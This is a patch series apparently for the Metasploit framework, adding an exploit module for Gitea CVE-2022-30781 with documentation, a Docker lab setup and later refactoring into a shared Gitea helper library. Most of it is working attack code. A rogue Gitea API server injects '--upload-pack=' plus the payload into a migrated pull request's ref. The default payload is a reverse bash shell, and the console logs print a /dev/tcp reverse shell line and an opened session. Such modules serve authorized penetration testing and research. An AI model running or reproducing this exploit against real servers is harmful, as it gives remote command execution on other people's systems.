From 60569b8b97e10b0fe846cbb6510948d9258e1198 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Thu, 15 Sep 2022 19:43:12 +0700 Subject: [PATCH 01/31] Add Gitea Git fetch RCE module - CVE-2022-30781 --- .../unix/webapp/gitea_git_fetch_rce.md | 168 +++++++++++ .../unix/webapp/gitea_git_fetch_rce.rb | 263 ++++++++++++++++++ 2 files changed, 431 insertions(+) create mode 100644 documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md create mode 100644 modules/exploits/unix/webapp/gitea_git_fetch_rce.rb diff --git a/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md b/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md new file mode 100644 index 000000000000..6c0463b19e6a --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md @@ -0,0 +1,168 @@ +## Vulnerable Application + +[Gitea](https://gitea.io/) is a painless self-hosted Git service community +managed lightweight code hosting solution written in Go. + +This module has been tested successfully on Gitea versions: +* 1.16.6 (Docker) + +### Description + +This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. +This vulnerability affect Gitea before 1.16.7 version. + +The module will automatically use `cmd/unix/reverse_bash` payload and unix +target. + +The migration process require valid Git repository address so the module will +use the Gitea target itself by creating a temporary repository. This scenario +won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini) +because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when +[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289) +is set, but it must be set to all domain with `*` for this scenario to work. + +### Source and Installers + +* [Source Code Repository](https://github.com/go-gitea/gitea/) +* [Installers](https://dl.gitea.io/gitea/1.16.6) +* [Docker](https://docs.gitea.io/en-us/install-with-docker/) + +### Docker installation +1. create `docker-compose.yml` file +``` +version: "3" + +networks: + gitea: + external: false + +services: + server: + image: gitea/gitea:1.16.6 + container_name: gitea + environment: + - USER_UID=1000 + - USER_GID=1000 + restart: always + networks: + - gitea + volumes: + - ./gitea:/data + - /etc/timezone:/etc/timezone:ro + - /etc/localtime:/etc/localtime:ro + ports: + - "3000:3000" + - "222:22" +``` +2. run `docker-compose up` +3. append `ALLOW_LOCALNETWORKS` in the configuration file. +``` +:~$ cat << EOF >> gitea/gitea/conf/app.ini +> [migrations] +> ALLOW_LOCALNETWORKS = true +> EOF +``` +4. Navigate to the localhost port 3000 and finish the installation. Note that + the first registered user will automatically become administrator so make + sure to set the administrator username and password upon installation. + +## Verification Steps + +1. Navigate to `/user/sign_up` and register normal user +2. Do: `use unix/webapp/gitea_git_fetch_rce` +3. Do: `set RHOSTS [ips]` +4. Do: `set LHOST [lhost]` +5. Do: `set USERNAME [username]` +6. Do: `set PASSWORD [password]` +7. Do: `run` +8. You should get a shell. + +## Options + +## Scenarios +### Successful exploitation of Gitea 1.16.6 on Docker + +``` +msf6 > use unix/webapp/gitea_git_fetch_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set RHOSTS 172.17.0.2 +RHOSTS => 172.17.0.2 +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set USERNAME msf +USERNAME => msf +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set PASSWORD qwerty +PASSWORD => qwerty +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set VERBOSE true +VERBOSE => true +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > run + +[+] bash -c '0<&180-;exec 180<>/dev/tcp/172.17.0.1/4444;sh <&180 >&180 2>&180' +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version detected: 1.16.6 +[*] Using URL: http://172.17.0.1:8080/msf/eqESXv4b +[*] Server started. +[*] Adding hardcoded uri /api/v1/version +[*] Adding hardcoded uri /api/v1/settings/api +[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b +[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/pulls +[*] Adding hardcoded uri /api/v1/repos/msf/eqESXv4b/topics +[*] Creating repository "7vX49Gy2Rui5WHQ" +[+] Repository created +[*] Migrating repository +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:50212) at 2022-09-15 18:51:31 +0700 +[*] Cleanup: removing repository "7vX49Gy2Rui5WHQ" +[*] Cleanup: removing repository "eqESXv4b" +[*] Server stopped. + +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > sessions 1 +[*] Starting interaction with 1... + +id +uid=1000(git) gid=1000(git) groups=1000(git),1000(git) +``` + +### Failed exploitation due to migration settings + +``` +msf6 > use unix/webapp/gitea_git_fetch_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set RHOSTS 172.17.0.2 +RHOSTS => 172.17.0.2 +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set USERNAME msf +USERNAME => msf +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set PASSWORD qwerty +PASSWORD => qwerty +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > set VERBOSE true +VERBOSE => true +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > run + +[+] bash -c '0<&130-;exec 130<>/dev/tcp/172.17.0.1/4444;sh <&130 >&130 2>&130' +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf6 exploit(unix/webapp/gitea_git_fetch_rce) > +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version detected: 1.16.6 +[*] Using URL: http://172.17.0.1:8080/msf/XG1AhW3 +[*] Server started. +[*] Adding hardcoded uri /api/v1/version +[*] Adding hardcoded uri /api/v1/settings/api +[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3 +[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3/pulls +[*] Adding hardcoded uri /api/v1/repos/msf/XG1AhW3/topics +[*] Creating repository "7A4o5kYw3Y" +[+] Repository created +[*] Migrating repository +[*] Cleanup: removing repository "7A4o5kYw3Y" +[*] Server stopped. +[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo: +You can not import from disallowed hosts, please ask the admin to check +ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings. +``` diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb new file mode 100644 index 000000000000..e6d2536dac4e --- /dev/null +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -0,0 +1,263 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gitea Git Fetch Remote Code Execution', + 'Description' => %q{ + This module exploits Git fetch command in Gitea repository migration + process that leads to a remote command execution on the system. + This vulnerability affect Gitea before 1.16.7 version. + }, + 'Author' => [ + 'wuhan005 & li4n0', # Original PoC + 'krastanoel' # MSF Module + ], + 'References' => [ + ['CVE', '2022-30781'], + ['URL', 'https://tttang.com/archive/1607/'] + ], + 'DisclosureDate' => '2022-05-16', + 'License' => MSF_LICENSE, + 'Platform' => %w[unix win], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options([ + Opt::RPORT(3000), + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('USERNAME', [true, 'Username to authenticate with']), + OptString.new('PASSWORD', [true, 'Password to use']), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/user/login'), + 'keep_cookies' => true + ) + return CheckCode::Unknown('No response from the web service') if res.nil? + return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 + + # Powered by Gitea Version: 1.16.6 + unless (match = res.body.match(/Gitea Version: (?[\da-zA-Z.]+)/)) + return CheckCode::Unknown('Target does not appear to be running Gitea.') + end + + if match[:version].match(/[a-zA-Z]/) + return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.") + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/user/login'), + 'vars_post' => { + 'user_name' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + '_csrf' => get_csrf(res.get_cookies) + }, + 'keep_cookies' => true + ) + return CheckCode::Safe('Authentication failed') if res&.code != 302 + + if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6') + return CheckCode::Appears("Version detected: #{match[:version]}") + end + + CheckCode::Safe("Version detected: #{match[:version]}") + rescue ::Rex::ConnectionError + return CheckCode::Unknown('Could not connect to the web service') + end + + def primer + [ + '/api/v1/version', '/api/v1/settings/api', + "/api/v1/repos/#{@migrate_repo_path}", + "/api/v1/repos/#{@migrate_repo_path}/pulls", + "/api/v1/repos/#{@migrate_repo_path}/topics" + ].each { |uri| hardcoded_uripath(uri) } # adding resources + + vprint_status("Creating repository \"#{@repo_name}\"") + gitea_create_repo + vprint_good('Repository created') + vprint_status('Migrating repository') + gitea_migrate_repo + end + + def exploit + @repo_name = rand_text_alphanumeric(6..15) + @migrate_repo_name = rand_text_alphanumeric(6..15) + @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}" + datastore['URIPATH'] = "/#{@migrate_repo_path}" + + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) } + cleanup # removing all resources + end + + def get_csrf(cookies) + csrf = cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last + fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf + csrf + end + + def gitea_remove_repo(name) + vprint_status("Cleanup: removing repository \"#{name}\"") + uri = "/#{datastore['username']}/#{name}/settings" + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, uri), + 'keep_cookies' => true + ) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'action' => 'delete', + 'repo_name' => name, + '_csrf' => get_csrf(res.get_cookies) + }, + 'keep_cookies' => true + ) + vprint_warning('Unable to remove repository') if res&.code != 302 + end + + def gitea_create_repo + uri = normalize_uri(target_uri.path, '/repo/create') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true) + @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text + fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'uid' => @uid, + 'auto_init' => 'on', + 'readme' => 'Default', + 'repo_name' => @repo_name, + 'trust_model' => 'default', + 'default_branch' => 'master', + '_csrf' => get_csrf(res.get_cookies) + }, + 'keep_cookies' => true + ) + fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302 + rescue ::Rex::ConnectionError + return CheckCode::Unknown('Could not connect to the web service') + end + + def gitea_migrate_repo + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/repo/migrate'), + 'keep_cookies' => true + ) + uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text + fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri + + svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type'] + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, uri), + 'keep_cookies' => true + ) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'uid' => @uid, + 'service' => svc_type, + 'pull_requests' => 'on', + 'repo_name' => @migrate_repo_name, + '_csrf' => get_csrf(res.get_cookies), + 'auth_token' => rand_text_alphanumeric(6..15), + 'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" + }, + 'keep_cookies' => true + ) + if res&.code != 302 # possibly triggered by the [migrations] settings + err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text + gitea_remove_repo(@repo_name) + cleanup + fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}") + end + rescue ::Rex::ConnectionError + return CheckCode::Unknown('Could not connect to the web service') + end + + def on_request_uri(cli, req) + case req.uri + when '/api/v1/version' + send_response(cli, '{"version": "1.16.6"}') + when '/api/v1/settings/api' + data = { + max_response_items: 50, default_paging_num: 30, + default_git_trees_per_page: 1000, default_max_blob_size: 10485760 + } + send_response(cli, data.to_json) + when "/api/v1/repos/#{@migrate_repo_path}" + data = { + clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}", + owner: { login: datastore['username'] } + } + send_response(cli, data.to_json) + when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1" + send_response(cli, '{"topics":[]}') + when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all" + data = [ + { + base: { + ref: 'master' + }, + head: { + ref: "--upload-pack=#{payload.encoded}", + repo: { + clone_url: './', + owner: { login: 'master' } + } + }, + updated_at: '2001-01-01T05:00:00+01:00', + user: {} + } + ] + send_response(cli, data.to_json) + end + end +end From e1284ea17d0df15f8b9009b7a0b9b7aa0b7643d5 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 16:45:49 +0700 Subject: [PATCH 02/31] handle get_csrf check caller separately --- .../unix/webapp/gitea_git_fetch_rce.rb | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index e6d2536dac4e..8f62c8f328b6 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -83,13 +83,16 @@ def check return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.") end + csrf = get_csrf(res.get_cookies) + fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf + res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/user/login'), 'vars_post' => { 'user_name' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], - '_csrf' => get_csrf(res.get_cookies) + '_csrf' => csrf }, 'keep_cookies' => true ) @@ -132,9 +135,7 @@ def exploit end def get_csrf(cookies) - csrf = cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last - fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf - csrf + cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last end def gitea_remove_repo(name) @@ -145,13 +146,16 @@ def gitea_remove_repo(name) 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) + csrf = get_csrf(res.get_cookies) + fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf + res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'action' => 'delete', 'repo_name' => name, - '_csrf' => get_csrf(res.get_cookies) + '_csrf' => csrf }, 'keep_cookies' => true ) @@ -163,6 +167,8 @@ def gitea_create_repo res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true) @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid + csrf = get_csrf(res.get_cookies) + fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf res = send_request_cgi( 'method' => 'POST', @@ -174,7 +180,7 @@ def gitea_create_repo 'repo_name' => @repo_name, 'trust_model' => 'default', 'default_branch' => 'master', - '_csrf' => get_csrf(res.get_cookies) + '_csrf' => csrf }, 'keep_cookies' => true ) @@ -198,6 +204,9 @@ def gitea_migrate_repo 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) + csrf = get_csrf(res.get_cookies) + fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf + res = send_request_cgi( 'method' => 'POST', 'uri' => uri, @@ -206,7 +215,7 @@ def gitea_migrate_repo 'service' => svc_type, 'pull_requests' => 'on', 'repo_name' => @migrate_repo_name, - '_csrf' => get_csrf(res.get_cookies), + '_csrf' => csrf, 'auth_token' => rand_text_alphanumeric(6..15), 'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" }, From 7e46ba4575bb1a51360fe2968b6add0d211afb06 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 16:50:34 +0700 Subject: [PATCH 03/31] use fail with instead checkcode --- modules/exploits/unix/webapp/gitea_git_fetch_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index 8f62c8f328b6..b6cbcbeac3f9 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -186,7 +186,7 @@ def gitea_create_repo ) fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302 rescue ::Rex::ConnectionError - return CheckCode::Unknown('Could not connect to the web service') + fail_with(Failure::Unknown, 'Could not connect to the web service') end def gitea_migrate_repo @@ -228,7 +228,7 @@ def gitea_migrate_repo fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}") end rescue ::Rex::ConnectionError - return CheckCode::Unknown('Could not connect to the web service') + fail_with(Failure::Unknown, 'Could not connect to the web service') end def on_request_uri(cli, req) From 36f3a7ce11d23ef464ab53ec1d164d5474f2be82 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 16:57:59 +0700 Subject: [PATCH 04/31] update options description --- .../modules/exploit/unix/webapp/gitea_git_fetch_rce.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md b/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md index 6c0463b19e6a..6b0d0c4e5fef 100644 --- a/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md +++ b/documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md @@ -79,6 +79,15 @@ services: ## Options +### USERNAME +The Gitea valid username to authenticate + +### USERNAME +The Gitea valid password to authenticate + +### HTTPDELAY +Number of seconds the web server will wait to deliver payload (default: 12) + ## Scenarios ### Successful exploitation of Gitea 1.16.6 on Docker From cbff63958cf74f60256e23543e48105482393310 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 22:09:01 +0700 Subject: [PATCH 05/31] Move version check and login to common library --- lib/msf/core/exploit/remote/http/gitea.rb | 36 +++++++++++++++++++ .../core/exploit/remote/http/gitea/base.rb | 29 +++++++++++++++ .../core/exploit/remote/http/gitea/error.rb | 23 ++++++++++++ .../core/exploit/remote/http/gitea/helpers.rb | 30 ++++++++++++++++ .../core/exploit/remote/http/gitea/login.rb | 34 ++++++++++++++++++ .../core/exploit/remote/http/gitea/uris.rb | 10 ++++++ .../core/exploit/remote/http/gitea/version.rb | 33 +++++++++++++++++ 7 files changed, 195 insertions(+) create mode 100644 lib/msf/core/exploit/remote/http/gitea.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/base.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/error.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/helpers.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/login.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/uris.rb create mode 100644 lib/msf/core/exploit/remote/http/gitea/version.rb diff --git a/lib/msf/core/exploit/remote/http/gitea.rb b/lib/msf/core/exploit/remote/http/gitea.rb new file mode 100644 index 000000000000..de88189d5862 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with gitea installations + module Gitea + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Gitea::Base + include Msf::Exploit::Remote::HTTP::Gitea::Version + include Msf::Exploit::Remote::HTTP::Gitea::Helpers + include Msf::Exploit::Remote::HTTP::Gitea::Login + include Msf::Exploit::Remote::HTTP::Gitea::Error + include Msf::Exploit::Remote::HTTP::Gitea::URIs + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the gitea application', '/']) + ], Msf::Exploit::Remote::HTTP::Gitea + ) + + register_advanced_options( + [ + Msf::OptBool.new('GITEACHECK', [true, 'Check if the website is a valid Gitea install', true]), + ], Msf::Exploit::Remote::HTTP::Gitea + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/base.rb b/lib/msf/core/exploit/remote/http/gitea/base.rb new file mode 100644 index 000000000000..ac74ba50a668 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/base.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Base + # Checks if the site is online and running gitea + # + # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running gitea, nil otherwise + def gitea_and_online? + unless datastore['GITEACHECK'] + vprint_status 'Skipping Gitea check...' + return true + end + + gitea_detect_regexes = [ + /i_like_gitea=\w+/, + ] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + return res if res && res.code == 200 && gitea_detect_regexes.any? { |r| res.get_cookies =~ r } + + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error("Error connecting to #{target_uri}: #{e}") + return nil + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/error.rb b/lib/msf/core/exploit/remote/http/gitea/error.rb new file mode 100644 index 000000000000..70f30fab93d6 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/error.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Error + class WebError < :: StandardError + def initialize(message: nil) + super(message || 'Gitea WebError') + end + + attr_reader :res + end + + class CsrfError < WebError + def initialize + super(message: 'Unable to get CSRF token') + end + end + + class AuthenticationError < WebError + def initialize + super(message: 'Authentication failed') + end + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/helpers.rb b/lib/msf/core/exploit/remote/http/gitea/helpers.rb new file mode 100644 index 000000000000..be15ea28e669 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/helpers.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Helpers + # Helper methods are private and should not be called by modules + + private + + # Returns CSRF token string for Gitea session + # + # @param res [Rex::Proto::Http::Response] Rex HTTP Response object + # @return [String,nil] csrf token if found, nil otherwise + def gitea_get_csrf(res) + res&.get_cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last + end + + # Returns the POST data for a Gitea login request + # + # @param user [String] Username + # @param pass [String] Password + # @param csrf [String] login csrf + # @return [Hash] The post data for vars_post Parameter + def gitea_helper_login_post_data(user, pass, csrf) + post_data = { + 'user_name' => user, + 'password' => pass, + '_csrf' => csrf + } + post_data + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/login.rb b/lib/msf/core/exploit/remote/http/gitea/login.rb new file mode 100644 index 000000000000..a1a6e15697b8 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/login.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Login + # performs a gitea login + # + # @param user [String] Username + # @param pass [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + def gitea_login(user, pass, timeout = 20) + res = send_request_cgi({ + 'uri' => gitea_url_login, + 'keep_cookies' => true + }, timeout) + return nil unless res + + csrf = gitea_get_csrf(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(gitea_url_login), + 'vars_post' => gitea_helper_login_post_data(user, pass, csrf), + 'keep_cookies' => true + ) + + raise Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError.new if res&.code != 302 + + cookies = cookie_jar.cookies + cookie_jar.clear + store_valid_credential(user: user, private: pass) + return cookies + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/uris.rb b/lib/msf/core/exploit/remote/http/gitea/uris.rb new file mode 100644 index 000000000000..23b9d1fc3e78 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/uris.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::URIs + # Returns the Gitea Login URL + # + # @return [String] Gitea Login URL + def gitea_url_login + normalize_uri(target_uri.path, 'user', 'login') + end +end diff --git a/lib/msf/core/exploit/remote/http/gitea/version.rb b/lib/msf/core/exploit/remote/http/gitea/version.rb new file mode 100644 index 000000000000..78169968830e --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/version.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Version + # Powered by Gitea Version + GITEA_VERSION_PATTERN = 'Gitea Version: (?[\da-zA-Z.]+)' + + # Extracts the Gitea version information from base path + # + # @param res [Rex::Proto::Http::Response] Rex HTTP Response object + # @return [String,nil] gitea version if found, nil otherwise + def gitea_version(res = nil) + # detect version from / + version = gitea_version_helper(normalize_uri( + target_uri.path), /#{GITEA_VERSION_PATTERN}/, res) + return version if version + + nil + end + + def gitea_version_helper(url, regex, res) + res ||= send_request_cgi({ + 'method' => 'GET', + 'uri' => url, + 'keep_cookies' => true + }) + if res + match = res.body.match(regex) + return match[1] if match + end + + nil + end +end From 381bdbae7f3e5c94383e01070ce4d0b6ee4af1b1 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 22:14:45 +0700 Subject: [PATCH 06/31] Update module - adjust check method using common lib - handle autocheck false --- .../unix/webapp/gitea_git_fetch_rce.rb | 56 ++++++------------- 1 file changed, 18 insertions(+), 38 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index b6cbcbeac3f9..7c3a9d8899a9 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HTTP::Gitea def initialize(info = {}) super( @@ -58,7 +59,6 @@ def initialize(info = {}) register_options([ Opt::RPORT(3000), - OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) @@ -66,45 +66,23 @@ def initialize(info = {}) end def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/user/login'), - 'keep_cookies' => true - ) - return CheckCode::Unknown('No response from the web service') if res.nil? - return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 + res = gitea_and_online? + return CheckCode::Unknown('No web server or gitea instance found') unless res - # Powered by Gitea Version: 1.16.6 - unless (match = res.body.match(/Gitea Version: (?[\da-zA-Z.]+)/)) - return CheckCode::Unknown('Target does not appear to be running Gitea.') - end + v = gitea_version(res) + return CheckCode::Detected('Unable to determine Gitea version') unless v - if match[:version].match(/[a-zA-Z]/) - return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.") + gitea_login(datastore['username'], datastore['password']) + if Rex::Version.new(v) <= Rex::Version.new('1.16.6') + return CheckCode::Appears("Version detected: #{v}") end - csrf = get_csrf(res.get_cookies) - fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/user/login'), - 